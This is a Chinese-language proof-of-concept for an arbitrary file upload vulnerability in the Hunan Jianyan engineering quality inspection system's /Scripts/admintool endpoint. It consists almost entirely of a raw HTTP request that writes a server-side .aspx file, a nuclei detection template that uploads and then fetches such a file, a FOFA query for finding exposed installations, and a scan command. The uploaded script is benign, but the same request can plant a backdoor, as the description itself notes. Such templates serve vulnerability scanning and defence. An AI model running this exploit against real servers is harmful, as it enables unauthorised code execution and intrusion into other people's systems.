湖南建研工程质量检测系统任意文件上传漏洞

POST /Scripts/admintool?type=updatefile HTTP/1.1Host: 192.168.40.130:8282User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36Content-Length: 72Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeContent-Type: application/x-www-form-urlencodedfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

id: hunan-jianyan-admintool-fileuploadinfo:  name: 湖南建研工程质量检测系统任意文件上传漏洞  author: fgz  severity: critical  description: 湖南建研工程质量检测系统是湖南建研信息技术股份有限公司研发的，实现了检验工作的数字化和网络化管理，基本实现检测数据的自动采集，确保检验数据的公正性、科学性和准确性。该系统/Scripts/admintool接口存在任意文件上传漏洞，攻击者可以利用该漏洞上传恶意后门文件。  metadata:    max-request: 1    fofa-query: body="/Content/Theme/Standard/webSite/login.css"    verified: truevariables:  file_name: "{{to_lower(rand_text_alpha(6))}}"  file_content: "{{to_lower(rand_text_alpha(15))}}"requests:  - raw:      - |+        POST /Scripts/admintool?type=updatefile HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Connection: close        Content-Type: application/x-www-form-urlencoded        Accept-Encoding: gzip, deflate, br        filePath={{file_name}}.aspx&fileContent=<%Response.Write("{{file_content}}")%>      - |        GET /Scripts/{{file_name}}.aspx HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"

nuclei.exe -t mypoc/hunan-jianyan-admintool-fileupload.yaml -u http://192.168.40.130:8282